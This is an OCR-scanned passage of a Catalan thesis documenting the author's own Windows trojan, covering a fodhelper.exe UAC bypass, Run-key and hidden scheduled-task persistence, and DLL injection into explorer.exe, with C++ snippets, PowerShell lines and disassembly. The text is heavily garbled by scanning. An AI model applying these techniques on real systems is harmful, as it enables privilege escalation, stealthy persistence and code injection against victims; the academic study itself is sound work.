e SetRegValue(keyHandle,L'""", command.c_str()): Estem afegint la instruccid
a executar a la clau mencionada anteriorment.

e SetRegValue(keyHandle,L' DelegateExecute' ,delegateExec.c_str()): En
aquest cas, s'esta establint un valor anomenat DelegateExecute a la mateixa
clau del registre. Aquest valor s'esta configurant com una cadena buida (dele-
gateExec.c_str()), que és una tactica utilitzada al bypass de la UAC per poder
evadir alguns mecanismes de seguretat.

Una vegada tenim configurat el nostre registre, el seguent pas sera cridar a fodhel-
per.exe perqué executi aquesta ordre que hem afegit a la clau del registre. Per fer-ho,
utilitzarem la funcié ShellExecuteEx(), a la qual li passarem la ruta de fodhelper.exe i
el verb runes, per forgar que s'executi amb privilegis elevats.

SHELLEXECUTEINFO execInfo = { sizeof(execInfo) };

L"runas";

L"C:\\Windows\\System32\\fodhelper.exe";

execInfo.lpVerb

execInfo.lpFile
execInfo.hwnd = NULL;
execInfo.nShow = SW_NORMAL;

if (!ShellExecuteEx(&execInfo)) {
DWORD errCode = GetlastError();
wprintf(errCode == ERROR_CANCELLED ? L"user refused to allow privileges elevation!!!!"™ : L"error code: ¥1d", errCode);

return 1;

Figura 15: Executant fodhelper.exe amb ShellExecuteEx()

En aquest punt, si tot ha sortit bé, tindrem el nostre procés executant-se amb privilegis
d'administrador.

En resum, aprofitem que folhelper.exe s'executa amb privilegis d'administrador sense

el prompt de la UAC i que també executa la instruccié que es troba a la clau
HKEY_CURRENT_USER\Software\Classes\ms-settings\Shel\Open\command  per
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afegir la instruccié a aquesta clau de registre. Seguidament, es forca a executar fodhel-
per.exe amb permisos d'administrador mitjancant el verb runes per executar la instruc-
cié amb privilegis d'administrador.

Equipo\HKEY_CURREMNT_USER\5oftware\ Classes\ms-settings\Shel\Open\command

Mombre Tipo Dates

cmd /c start "Terminal1" C\Windows\System32\cmd.exe /c C\Users\Sergio\Desktop\prueba\TFG.exe

3_"\|Del egatebExecute ) REG_SZ

Figura 16: Instruccié agregada al registre correctament

Ara analitzarem quins privilegis té el malware la primera vegada que s'executa, sense
permisos d'administradors:

General Statistics Performance Threads Token  Modules Memory Environment Handles GPU

User: DESKTOP-HEHDEMOSergio

User SID: 5-1-5-21-3205083835-117439734-3880300942-1000

Session: 1 Elevated: Mo Virtualized: Mo

App container SID:  NfA

o
Mame Flags
BUILTIMVAdministradores UUse for deny only (disabl...
BUILTIMVJsuarios Mandatory (default enab...
BUILTIMVUsuarios del registro de rendimiento Mandatory (default enab...
DESKTOP-HeHOSMOYMinguno Mandatory (default enab...
Etiqueta obligatoriaMivel obligatorio medio Integrity
INICIO DE SESION EM LA CONSOLA Mandatory (default enab...
.

Mame Status Description
SeChangeMotifyPrivilege Default Enabled  Omitir comprobacian de recorrido
SelncreaseWorkingSetPrivilege  Disabled Aumentar el espacio de trabajo de un proceso
SeShutdownPrivilege Disabled Apaagar el sistema
SeTimeZonePriviege Disabled Cambiar la zona horaria
SelUndockPrivilege Disabled Quitar equipo de la estacién de acoplamiento

Figura 17: Llista de privilegis del procés sense privilegis

Com podem observar, un atacant hauria de tenir molta imaginacié per poder accedir
als recursos del sistema, ja que els privilegis son realment escassos.

Ara analitzarem els privilegis una vegada el malware ha eludit la UAC i ha aconseguit
elevar els seus privilegis:
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Environment Handles GPU Comment

General Statistics Performance Threads Token Modules Memaory
User: DESKTOP-HEHOEMO\Sergio
User 5ID: 5-1-5-21-3205083835-117439734-3880300942-1000
Sesgion: 1 Elevated: Yes Virtualized: Mot allowed

App container SID:  NjJA

Mame Flags ~
BUILTIN\Administradores Mandatory (default enab...
BUILTINWUsuarios Mandatery (default enab...
BUILTIMNWsuarios del registro de rendimiento Mandatery (default enab...
DESKTOP-HEHOI2MOMinguno Mandatory (default enab...
Etiqueta obligatoriaMivel obligatorio alto Integrity
INICIO DE SESION EM LA CONSOLA Mandatory (default enab... -
ry
Mame Status Description
SeBackupFrivilege Disabled Hacer copias de seguridad de ...
SeChangeMotifyPriviege Default Enabled  Omitir comprobacidn de recorrido
SeCreateGlobalPrivilege Default Enabled  Crear objetos globales
SeCreatePagefilePrivilege Dizabled Crear un archiva de paginacion
SeCreateSymbolicLinkPrivilege Disabled Crear vinculos simbolicos
SeDebugPriviege Disabled Depurar programas
SeDelegateSessionUserImpersonatePrivilege  Disabled Obtén un token de suplantacid. ..
SelmpersonatePrivilege Default Enabled  Suplantar a un diente tras la a...
SelncreaseBasePriorityPrivilege Dizabled Aumentar prioridad de progra...
SelncreaseQuotaPriviege Disabled Ajustar las cuotas de la memor. ..
Selncrease\WarkingSetPrivilege Disabled Aumentar el espacio de trabaj...
SeloadDriverPrivilege Dizabled Cargar y descargar controlado...
SeManageVolumePrivilege Dizabled Reslizar tareas de mantenimie. ..
SeProfileSingleProcessPrivilege Disabled Generar perfiles de un solo pro...
SeRemoteShutdownPrivilege Disabled Farzar derre desde un sistema. ..
SeRestorePrivilege Disabled Restaurar archivos y directorios
SeSecurityPrivilege Dizabled Administrar registro de segurid...
SeShutdownPrivilege Dizabled Apagar el sistema
SeSystemEnvironmentPrivilege Disabled Modificar valores de entorno fi...
SesystemProfilePrivilege Disabled Generar perfiles del rendimient. ..
SeSystemtimePrivilege Dizabled Cambiar |a hora del sistema
SeTakeCwnershipPrivilege Dizabled Tomar posesion de archives y ...
SeTimeZonePrivilege Disabled Cambiar |a zona horaria
SelndockPrivilege Disabled Quitar equipo de |a estacidn d...

Figura 18: Llista de privilegis del procés amb privilegis

Arasi, veiem una gamma molt més amplia de privilegis per poder dur a terme les seves
accions malicioses. Per exemple, trobariem SeDebugPrivilege que podria ser utilitzat
per modificar la memoria d'altres processos i injectar codi malicios a diferents proces-
s0s, una técnica realment utilitzada pels troians. També trobem el privilegi SeTakeOw-
nershipPrivilege, a partir del qual tindria la possibilitat d'eliminar fitxers critics del
sistema, o també de realitzar canvis en la configuracio.

Un cop entesa la tecnica a alt nivell, I'analitzarem a baix nivell:
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loc_140001372:

mov [rsp+3@88h+command. _Mypair. Myval2. Mysize], rlS

mov [rsp+3@8h+command. Mypair. Myval2. Myres], rdi

movaps xmm@, xmmword ptr cs:aCmdCStartTermi ; "cmd /c start \ Terminall\” C:\\Windows'...
movups xmmword ptr [rbx], xmm@

movaps xmml, xmmword ptr cs:aCmdCStartTermi+l@h ; "tart \"Terminall\" C:\\Windows\\System3"...
movups xmmword ptr [rbx+12h], xmml

movaps xmm@, xmmword ptr cs:aCmdCStartTermi+2@h ; "rminall\" C:\\Windows\\System32\\cmd.ex"..

movups xmmword ptr [rbx+20h], xmme@

movaps xmml, xmmword ptr cs:aCmdCStartTermi+38h ; " C
movups xmmword ptr [rbx+32h], xmml

movaps xmm@, xmmword ptr cs:aCmdCStartTermi+4eh ; "
movups xmmword ptr [rbx+42h], xmme@

movaps xmml, xmmword ptr cs:aCmdCStartTermi+S@h ; "em32)
movups xmmword ptr [rbx+5@h], xmml

32\\cmd.exe fc "

movaps xmm@, xmmword ptr cs:aCmdCStartTermi+6@h ; ".exe /c "
movups xmmword ptr [rbx+66h], xmm@

lea rcx, [rbx+7@h] ; void *

lea r8, [rl4+rl4] ; Size

mov rdx, rl2 3 Src

call memcpy_@

xor rlad, rilad

mov [rbx+r15*2], rlaw

lea rdx, ValueName ; _Ptr

lea rcx, [rbp+2@oh+delegateExec] ; this

call 2?@?%basic_string@ WU?$char_traits@_W@std@@v?$allocator@ W@2@@std@@QEAAGQEB_WRZ ; std::ba
lea rax, [rsp+3@@h+disposition]

mov [rsp+3@8h+1lpdwDisposition], rax ; lpdwDisposition

lea rax, [rsp+3@8h+keyHandle]

mov [rsp+3@8h+phkResult], rax ; phkResult

mov [rsp+3@8h+lpSecurityAttributes], rl14 ; lpSecurityAttributes
mov [rsp+3@8h+samDesired], 20@86h ; samDesired

mov [rsp+3@Bh+dwOptions], rl4d ; dwOptions

xor r9d, rod ; 1pClass

xor r8d, rad ; Reserved

lea rdx, SubKey ; Sottware\\Classes\\ms-settings\\Shell\\"..
mov rCX, OFFFFFFFFS0000001Nn ; NhKey

call cs: 1imp RegCreateKeyExwW

lea edi, [rl4+1]

test eax, eax

jz short loc_140001449

Figura 19: Instruccions per a la construccio de la cadena de la instruccio, carrega de la subclau del re-
gistre i crida a RegCreateKeyEXx()

e movups xmmword ptr [direccid], xmm: Transfereix la cadena d'ordres que es
construira per cmd.exe a la memoria. Aquesta cadena és generada per
std::wstring command = ... i després es passa a la funcié SetRegValue().

e lea rdx, SubKey ; "Software\\Classes.... Carrega l'adreca de memoria de la
subclau de registre "Software\Classes\ms-settings\Shell\Open\command", que
és la que es crea o obre a RegCreateKeyEXx().

e call cs:__imp_RegCreateKeyExW: Realitza la crida a RegCreateKeyEXx(), que

correspon a la creacié de la clau de registre que s'utilitzara per al bypass de la
UAC a ConfigureRegistry().
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eax, ds:2[rbx*2]

mov [rsp+3@8h+samDesired], eax ; cbData

mov gword ptr [rsp+30@h+dwOptions], rcx ; lpData
mov r9d, edi ; dwType

xor r8d, r8d ; Reserved

lea rdx, aDelegateexecut ; "Delegatetxecute’

mov rcx, [rsp+3@8h+keyHandle] ; hKey

call cs: 1mp RegSetValuekExw

test eax, eax

jz short loc_140001512

Figura 20: Instruccions per assignar el DelegateExecute i cridar a la funcié RegSetValueExW()

lea rdx, aDelegateExecute ; DelegateExecute: Carrega l'adreca del string De-
legateExecute per utilitzar-la com a nom d'un valor a la funci6 RegSetVa-

lueEXW().

call cs:__imp_RegSetValueEXW: Invoca la funcid RegSetValueExW() per
crear o modificar un valor de registre, especificament DelegateExecute en

aquest cas.

xorps
mov
xor
lea

xmm@, xmm@
[rsp+@A8h+pExecInfo.cbSize], 76h ; 'p’
eax, eax

rcx, [rsp+@A8h+pExecInfo] ; pExecInfo

mov qword ptr [rsp+8A8h+pExecInfo.__ ul3+4], rax

mov dword ptr [rsp+2A8h+pExecInfo.hProcess+4], eax

lea rax, aRunas ; "runas”

movups xmmword ptr [rsp+9A8h+pExecfnf0.fHask], Xmme

mov [rsp+@A8h+pExecInfo.hwnd], @

movups xmmword ptr [rsp+@A8h+pExecInfo.lpVerb+4], xmm@

mov [rsp+@ABh+pExecInfo.lpVerb], rax

lea rax, aCWindowsSystem ; "C:\\Windows\\System32\\fodhelper.exe
movups xmmword ptr [rsp+eA8h+p§xecInfo.1pParameters+4], xmme
mov [rsp+@A8h+pExecInfo.lpFile], rax

movups xmmword ptr [rsp+@A8h+pExecInfo+34h], xmm@

mov [rsp+@ABh+pExecInfo.nShow], 1

movups xmmword ptr [rsp+@A8h+pExecInfo.lpIDList+4], xmm@
movups xmmword ptr [rsp+BABh+pExecInfo.hkeyClass+4], xmm@
call cs: 1imp ShellExecuteExw

test eax, eax

jnz short loc_14@800171E

Figura 21: Instruccions per assignar el verb runas, carregar la ruta del fodhelper.exe i cridar a She-

lIExecuteEXW()

mov rax, aRunas ; ""runas": Aquesta instruccié mou la cadena runas a la lo-
calitzaci6 apuntada per rax, preparant el verb d'execucio per a l'estructura SHE-
LLEXECUTEINFO.

mov rax, aFodhelperPath ; "C:\\Windows\\System32\\fodhelper.exe": Carrega
la ruta de I'executable fodhelper.exe al registre rax, el qual s'usara com el fitxer
objectiu per a ShellExecuteExXW().
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e call cs:__imp_ShellExecuteExW: Realitza la crida al metode ShellExecute-
ExW(), que intenta executar el fitxer especificat pel contingut del registre rax
(en aquest cas, fodhelper.exe) amb el verb runes per sol-licitar I'elevacio de
privilegis sense presentar el dialeg de consentiment de I'UAC.

6.4 Creaci0 de persistencia al sistema

Si ens posem en la pell d'un atacant, un dels factors més importants a tenir en compte
sera el seglient: que el malware se segueixi executant, encara que la victima apagui o
reinicii el sistema. | en aquest sentit, despres de fer una analisi exhaustiva sobre les
tecniques que s'utilitzen per poder generar persisténcia, es pot afirmar amb total segu-
retat que una gran part utilitza la modificacié de registres de Windows, aixi com la
creacio de tasques programades.

6.4.1 Modificacié de la clau run del registre de Windows

A l'apartat anterior, hem vist com configurar una clau al registre de Windows per poder
elevar els privilegis. Doncs ara tornem a utilitzar aquests registres per poder generar
persistencia. Com podem observar, s6n de vital importancia per als troians per dur a
terme les seves accions malicioses, no tan sols per elevar privilegis o generar persis-
téncia, sind també per desactivar o canviar determinades configuracions d'antivirus o
firewalls.

En el cas del troia desenvolupat, s'utilitza la clau seguent:
— Software\\Microsoft\Windows\\CurrentVersion\\Run

Dins d'aquesta clau es poden especificar serveis o aplicacions que s'iniciaran en el
moment en que l'usuari inicii sessid. Per poder modificar les claus de Windows, s'uti-
litzen tres funcions especifiques de I'API de Windows: tenim RegOpenKeyEXA(),
RegSetValueEXA() i RegCloseKey(), que ens permetran obrir una clau per poder obrir-
la, afegir-hi un valor i finalment poder tancar-la.

Generar persistencia mitjancant la modificacio dels registres és relativament simple.
En primer lloc, el que hem de fer és obrir la clau esmentada anteriorment, que garanteix
que tot servei o aplicacio agregat a aquesta clau s'executara en el moment en que ar-
renqui el sistema, mitjancant la funcié RegOpenKeyEXxA().

Una vegada oberta la clau, s'utilitzara la funcié RegSetValueExA() per poder escriure
la ruta de I'executable que volem que s'executi en iniciar. Un executable que, en aquest

cas, sera el nostre troia. Un cop escrit el valor, simplement tancarem la clau passant-li
el seu handle.

opResult = RegSetValueEx(keyHandle, L"C:\\Users\\sergio\\Desktop\\trojan.exe", @, REG_SZ,
(BYTE*)appPath, (_tcslen(appPath) + 1) * sizeof(TCHAR)):

Figura 22: Executable agregat a la clau
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Despreés de seguir aquests passos, hauriem d'haver afegit I'executable (que volem que
s'executi en iniciar el sistema), dins de la clau.

B Editor del Registro

Archivo Edicién Ver Favoritos Ayuda
Equipo\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

k Nombre Tipo Datos
?;,’?'} (Predeterminado) REG_SZ (valor no establecido)
"'"E REG_SZ C:\Program Files\BraveSoftware\Brave-Browse...
,ﬁ!’b]COeaner Smart.. REG_SZ "C:\Program Files\CCleaner\CCleanerf4.exe" /...
:‘_'f] CCXProcess REG_SZ "C:\Program Files (x86)\Adobe\Adobe Creativ...
ab| Discord REG_SZ "C:\Users\Sergio\AppData\Local\Discord\Upd...
ab|electron.app.Fing REG_SZ C:\Program Files\Fing\Fing.exe --processStart ...
ab) EpicGamesLaun... REG_SZ "C:\Program Files (x86)\Epic Games\Launcher...
ab| GogGalaxy REG_SZ C:\Program Files (x86)\GOG Galaxy\GalaxyClie...
?_,'ﬂGrammarIy REG_SZ C:\Users\Sergio\AppData\Local\Grammarly\D...
ab| GHUB REG_SZ "C:\Program Files\LGHUB\Ighub.exe" --backg...
ab| Malware REG_SZ C:\Users\sergio\Desktop\trojan.exe I
ab] MicrosoftEdgeA... REG_SZ "C:\Program Files (x86)\Microsoft\Edge\Appli...
ab| OneDrive REG_SZ "C:\Users\Sergio\AppData\Local\Microsoft\O...
,E'fj RiotClient REG_SZ C:\Riot Games\Riot Client\RiotClientServices.e...
ab|Spotify REG_SZ C:\Users\Sergio\AppData\Roaming\Spotify\Sp...
ab|Steam REG_SZ "C:\Program Files (x86)\Steam'steam.exe" -sil...
ab|TFG REG_SZ C:\Users\sergio\Desktop\TFG.exe
ab|ySCode REG_SZ C:\Users\Sergio\AppData\Local\Programs\Mi...

Figura 23: Executable afegit correctament a la clau

Com hem pogut observar, és relativament senzill poder generar persisténcia del nostre
malware modificant els registres de Windows.

Per acabar d'aprofundir en aquesta técnica, l'analitzarem a baix nivell:

loc_1408818EE:

lea rax, [rsp+ddh+hiey]

Mo rad, 2 ; samDesired

Wor réd, rad ; ulOptions

mov [rsp+dBh+phkResult], rax ; phkResult

lea rdx, Subley 3 sottware'\\Microsott'\\Windows\\CurrentVe ...
Mo rcx, BFFFFFFFFE@0Ee881h ; hKey

call cs: dimp ReglpenkevExd

test eax, eax

jnz short loc_l4esa116@

Figura 24: Instruccions per carregar la direcci6 de la subclau, establir el handle i cridar a la funcio Re-
gOpenKeyExW()

e leardx, [SubKey]: Carrega la direccio de la subclau de registre que es vol obrir

e mov rcx, OFFFFFFFF80000001h: Estableix el handle de la clau de registre
(HKEY_CURRENT_USER).

36



e call cs:__imp_RegOpenKeyExW: Crida a la funci6 RegOpenKeyExW() per
obrir la clau de registre.

mowv rex, [rsp+dsh+hiey] 3 hkey

lea rax, Data ; "Ci\AUsers\h\sergio\\Desktop\\trojan.exe"
mov dword ptr [rsp+dsh+lpcbData], 46h ; 'F° ; cbData

lea rd=, ValueMame ; "Trojan”

mowv rod, 1 ; dwType

mowv [rsp+d48h+phkResult], rax ; lpData

wor réd, r&d ; Reserved

call Cs5: 1mp HeghetWalueExh

mov rcx, |[rsp+dsh+hiey]| ; hkey

mowv ehx, eax

call cs: 1mp RegClosekey

lea rcx, aAutostartContl ; “Autostart contigured Tor #s!liyn
test ebx, ebx

jz short loc 148881167

Figura 25: Instruccions per carregar la ruta del malware, cridar a la funcié RegSetValueExW() i tancar

la clau

e learax, [Data]: Carrega la direccio de les dades que s'escriuran (la ruta a I'e-
xecutable).

e callcs:__imp_RegSetValueExXW: Crida a la funcié RegSetValueExW() per es-
tablir el valor a la clau de registre oberta.

e callcs:__imp_RegCloseKey: Tanca la clau de registre oberta.

6.4.2 Creaci6 de schedules tasks

Si per qualsevol motiu el troia no ha aconseguit guanyar persistencia mitjangant la
modificacio dels registres de Windows, alternativament podria generar persisténcia a
través de les tasques programables de Windows.

Per fer-ho,

cas sera el

scriptrile <<
scriptrile <<
scriptFile <<
scriptFile <<
scriptrile <<
scriptrile <<
scriptFile <<

es programara una tasca que incloura la ruta de I'executable, que en aquest
troia, i quan s'ha d'executar:

"$currentUser = [System.Security.Principal.windowsIdentity]::eetCurrent().Nameinin™;

"gaction = Mew-ScheduledTaskaction -Execute \“trojan.exe\"\n\n";

"¢Trigger = New-ScheduledTaskTrigger -atstartupinin®;

"$Principal = New-ScheduledTaskPrincipal -UserId $currentUser -LogonType Interactivewnin®;

"gsettings = New-ScheduledTaskSettingsset -Hidden'n\n®;

"$Task = New-ScheduledTask -Action $action -Principal $Principal -Trigger $Trigger -Settings $settings\nhn®;
"Register-scheduledTask \“Malware execution!\" -Inputobject $Task\n";

Figura 26: Instruccions per crear la tasca programable

Vegem quina funcio realitza cadascuna de les linies que componen la tasca:

1. Obté l'usuari principal i el desa a $currentUser.

2. Crea una accio per poder executar el trojan.exe.
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3. Estableix un trigger perqué la tasca es dispari un cop arrancat el sistema.

4. Configura la tasca perque només s'executi sota el compte d'usuari que s'esta
utilitzant actualment.

5. Configura la tasca perqué s'executi de manera oculta.
6. Crea latasca, amb l'accio, el trigger i la configuracio.
7. Registra la tasca amb el nom de Malware execution!
Un cop executades les diferents linies que configuren la tasca programable, veiem ara

si ha quedat registrada. Per a comprovar-ho, anem al programador de tasques de
Windows:

MNombre de tarea Hora proxima ejecucién  Desencadenadores Ubicacidn

KeyPreGenTask Se definieron varios de...  \MicrosoftWindows\Cer...
LocallUserSyncDatafvailable Desencadenador perso...  \MicrosoftWindows\input
LocateCommandlUserSession Desencadenador perso...  MicrosoftWindows\De...
Logon Al iniciar la sesion un u... MicrosoftWindows\Ma...
Malware execution! Al iniciar el sistema \ I
MDMMaintenenceTaszk Aliniciar la sesion unu...  \MicrozoftWindows\Ent...
MMNO Metadata Parser Filtro de eventos perso...  \MicrosoftWindows\Mo...
MaobilityManager Filtro de eventos perso...  \MicrosoftWindows\Ras
MoProfileManagement Se definieron varios de...  \MicrosoftWindows\WI..

Figura 27: Tasca creada correctament

6.5 Injeccié DLL

Com a atacant, el que interessaria seria que el malware operi sense que els antivirus se
n'adonin. Per tant, una de les técniques que fan servir molts troians és la injeccio DLL.
Pero, que és realment una DLL? Una DLL (Dynamic Link Library) és un tipus de fitxer
present als sistemes operatius Windows. Aquests contenen codi, dades i recursos que
poden ser utilitzats per diversos programes. Aixo ajuda a promoure la reutilitzacio de
codi, redueix I'is de memoria i millora el rendiment del sistema. Les DLL poden con-
tenir funcions que poden ser cridades per aplicacions o fins i tot per altres fitxers DLL,
permetent certa modularitat en el disseny del software [33]. La programacio d'aquesta
injeccid s'ha inspirat en un article [34] del blog codingvision.

La injeccié DLL funciona de la seglient manera:

1. Estriael procés objectiu: El troia identifica un procés en execucié al sistema
que vol manipular. En molts casos, els processos que acostuma a triar un troia
sOn processos que estan sempre en execucid, perqué les seves accions malici-
0ses no siguin interrompudes. Alguns dels processos més comuns sén el nave-
gador de fitxers (explorer.exe) i el host de servei (svchost.exe).
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2. Injeccié de la DLL: El troia intentara injectar el DLL malicios a I'espai de
memoria del procés objectiu. Aixo es pot fer mitjancant funcions del sistema
operatiu que permeten la manipulacio de processos.

3. Execucié del codi maliciés: Quan la DLL esta injectada, s'executa dins del
proces objectiu. Aixo permet que el troia realitzi accions malicioses, com ara
robatori de dades o espionatge, com si fos part del procés legitim.

En executar aquest codi malicios dins d'un procés legitim, es poden evadir determinats
mecanismes de seguretat, donat que aquesta carrega maliciosa no s'esta executant com
un proces independent.

Una vegada explicat de manera general el funcionament d'aquesta injeccio DLL, veu-
rem ara com s'ha programat.

Abans de poder injectar una DLL en un procés, cal triar un procés objectiu. Per tant, el
primer pas per a la injeccié remota de processos és enumerar els processos en execucio
ala maquina. L'ID del procés (o PID) és necessari per obrir un handle al procés objec-
tiu i permetre que es faci el treball necessari en aquest proces.

Utilitzant CreateToolhelp32Snapshot() amb la flag TH32CS_SNAPPROCESS com el
seu primer parametre, podem fer una instantania de tots els processos en execuci6 al
sistema en el moment en que s'executa la funcio.

Quan es fa I'snapshot, Process32First() s'usa per obtenir informacié del primer procés.
Per a tots els altres processos de la instantania, s'utilitza Process32Next(). La docu-
mentacio indica que les dues funcions requereixen una estructura PROCESSENTRY32
com a segon parametre. Després de passar l'estructura, les funcions la completaran
amb informacié sobre el procés.

typedef struct tagPROCESSENTRY32 {

DHORD dwsize;

DWORD cntUsage;

DHORD th32ProcessID;
ULONG_PTR th32DefaultHeaplD;
DWORD th32ModulelD;

DWORD cntThreads;

DEORD th32ParentProcessID;
LONG pcPriClassBase;
DHORD dwFlags;

CHAR szExeFile[MAX_PATH];

} PROCESSENTRY32;

Figura 28: Estructura de tagPROCESSENTRY32. Font: https://learn.microsoft.com/es-es/win-
dows/win32/api/tlhelp32/ns-tlhelp32-processentry32

Després que Process32First() o Process32Next() hagin omplert I'estructura, per ex-
treure el PID s'usa PROCESSENTRY32.th32ProcessID per obtenir el PID del proces.

En aquest punt, som capacos d'obtenir el PID del proces on volem fer la injeccio i
tambeé un handle. Ara si, passem a la injecci6 en si.
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Tenint ara el handle del proces, el segiient pas és injectar la DLL en el procés objectiu,
la qual cosa requerira de nou I'Us de diverses API's de Windows:

e VirtualAllocEx(): Es similar a VirtualAlloc(), perd permet l'assignacié de
memoria en un procés remot.

e WriteProcessMemory(): Escriu dades al procés remot. En aquest cas, s'utilit-
zara per escriure la ruta de la DLL en el procés objectiu.

e CreateRemoteThread(): Crea un thread en el procés remot.
LoadLibraryW() s'utilitza per carregar una DLL dins del procés que la invoca. Com
que l'objectiu és carregar la DLL dins d'un procés remot en lloc del local, no es pot
invocar directament. En canvi, I'adreca de LoadLibraryW() ha de ser recuperada i pas-
sada a un thread creat remotament en el procés, passant el nom de la DLL com a argu-
ment. Aix0 funciona perqueé l'adreca de I'API del Windows LoadLibraryW() sera la

mateixa en el procés remot que en el procés local. Per determinar l'adreca, s'utilitza
GetProcAddress() juntament amb GetModuleHandle().

kernelLoadlibraryW = GetProciddress(GetModuleHandle({L"kernel32.dl1l"), “"LoadLibraryW");
Figura 29: Guardant I’adreca de LoadLibraryW()

L'adreca emmagatzemada al kernelLoadLibraryW s'utilitzara com a entrada quan es
crei un nou fil en el procés remot, que és I'adreca de LoadLibraryW().

El proper pas és assignar memoria al procés remot que pugui contenir el nom de la
DLL. La funcié VirtualAllocEx() s'utilitza per assignar la memoria al procés remot.

allocatedMemory = VirtualillocEx(processHandle, NULL, sizeToAllocate, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
Figura 30: Reservant memoria per a la DLL

Després que la memoria s'assigni amb exit en el procés remot, s'utilitza WriteProcess-
Memory() per escriure a la memoria. El nom de la DLL s'escriu a la memoria previa-
ment assignada.

if (luriteProcessMemory(processHandle, allocatedMemory, libraryName, sizeOfLibraryName, &bytesWritten) byteskritten != sizeOfLibraryName)

Figura 31: Escrivint la ruta de la DLL a la memoria reservada

Despreés d'escriure amb exit la ruta de la DLL a la memoria assignada, CreateRemo-
teThread() s'utilitzara per crear un nou thread en el procés remot. Aqui és on cal
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I’adreca de LoadLibraryW(). kernelLoadLibraryW (que conté I’adreca de LoadLi-
braryW()) es passa com l'adreca d'inici del thread (IpStartAddress) i allocatedMemory,
que conté la ruta de la DLL, es passa com el parametre IpParameter de CreateRemo-
teThread(). Aquesta combinacié permet que quan el thread remot s'executa, cridi a
LoadLibraryW() amb la ruta de la DLL com a argument, carregant la DLL en I'espai
d'adreces del procés remot.

remoteThread = CreateRemoteThread(processHandle, NULL, @, (LPTHREAD_START_ROUTINE)kernellLoadlLibraryW, allocatedMemory, 8, NULL);

Figura 32: Executant thread amb LoadLibraryW() com a punt d’entrada

Si hem arribat fins aquest punt sense cap error, podem concloure gue la nostra injeccio
DLL s'ha fet correctament.

Intentarem fer ara una injeccié DLL amb la DLL maliciosa en el procés explorer.exe.
Aquest proceés correspon al navegador de fitxers. Després d'indicar-li el procés, el se-
glient pas sera indicar-li la DLL i executem:

ﬁ CPU | o Log | H Notas #® Breakpoints 88 Mapa de memoria [} Pila de llamadas Ef SEH 23| Script
» [0ODD000004E7 OODD 0000 add byte ptr ds:[rax],al |
. J004E7 0002 0000 add byte ptr ds:[rax],al 1
. 0000 add byte ptr ax],al 1
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr a |
™ 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr ¢ a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d »al |
™ 0000 add byte ptr d al |
. 0000 add byte ptr d a |
. 0000 add byte ptr a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr ¢ a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr a |
. 0000 add byte ptr d a |
™ 0000 add byte ptr d a |
™ 0000 add byte ptr d a |
™ 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr a 1
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |
. 0000 add byte ptr d a |

Figura 33: Espai reservat per la DLL desde x64dbg

Com podem comprovar a la imatge, s'han reservat 68 bytes comencant des de la direc-
cid que ens mostra. Aquest espai esta destinat a guardar la ruta de la DLL. Després
d'haver reservat la memoria, el pas segiient sera escriure la ruta:
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Searching for proces
Target process PID:
Memory Allocated At

S
84

Successfully written 68 Bytes

ID of "explorer.exe"

Ox000000OOO4ETO0B0 Of Size

Complete

Archivo Ver Depurar Tracing Plugins Favoritos Opcones Ayuda 8 2023 (Tita
SEH i ¥ 9§ 2 B & x # A
ﬁ CPU 2 Log .+ Notas ® Breakpoints Mapa de memoria [}V Pila de llamadas =7 SEH 12| Script
» [D00D0D0DO0DAE7 ODOO 33:003A add byte ptr ds:[ri0],dil
° ( 3 005C00 55 add byte ptr [rax+rax+55]
° 7 0073 00 add byte ptr
< - 65:0072 00 add byte ptr
-e E v 73 00 jae 1
>e 1 5C pop
- 11 0053 00 add byte ptr
° 14 65:0072 00 add byte ptr
° 1 67:0069 00 add byte ptr
. 1 6F
o 1D 005C00 44 add byte ptr
° 21 006F 00 add byte ptr
24 v 77 00 ja 4E70026
»e 26 6E
° 27 006C00 6F add byte ptr
e 2B 0061 00 add byte ptr
e 2E 64:0073 00 add byte ptr
° 32 5C pop rsp
° 0063 00 add byte ptr ds:[r
-e v 72 00 jb 4E70038
e 3 6F
° 0077 00 add byte ptr
° 2E: 006400 6C add byte ptr
° 006C00_00 add_byte ptr
3 0000 add byte ptr
°| 0000 add byte ptr
°| 0000 add byte ptr
°| 0000 add byte ptr
° 0000 add byte ptr
®| 0000 add byte ptr
®| 0000 add byte ptr
®| 53 0000 add byte ptr
° 55 0000 add byte ptr
° 57 0000 add byte ptr
°| 5 0000 add byte ptr
Ll 0000 add byte ptr
° 0000 add byte ptr
°| SF 0000 add byte ptr
° 61 0000 add byte ptr
®| 63 0000 add byte ptr
© 65 0000 add byte ptr
®| 67 0000 add byte ptr
| 9 0000 add byte ptr
°| B8 0000 add byte ptr
° 5D 0000 add byte ptr
- F 0000 add bvte ptr

Figura 34: Ruta DLL escrita desde x64dbg

En aquest mateix punt, s'executara el thread per poder activar la nostra carrega mali-
ciosa. Si tot ha anat bé, hauriem de veure la nostra DLL maliciosa dins del procés
explorer.exe:
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Environment Handles GPU Comment
General Statistics Performance Threads Token Modules Memory
Name Base address Size Description A
ntshrut.dll 0x7ff3 2050000 S00kB Extensiones de shell para us...
ntshrui.dll. mui 0x2fd0000 48kB Extensiones de shell para us...
ole32.dl 0x7ff8497b0000 1,17MB  Microsoft OLE para Windows
oleacc.dll 0x7F8300¢0000 408kB Active Accessibility Core Co...
oleaccre.dil 0x3450000 8kB Active Accessibility Resourc...
oleaccre.dil.mui 0x3460000 32kB Active Accessibility Resourc...
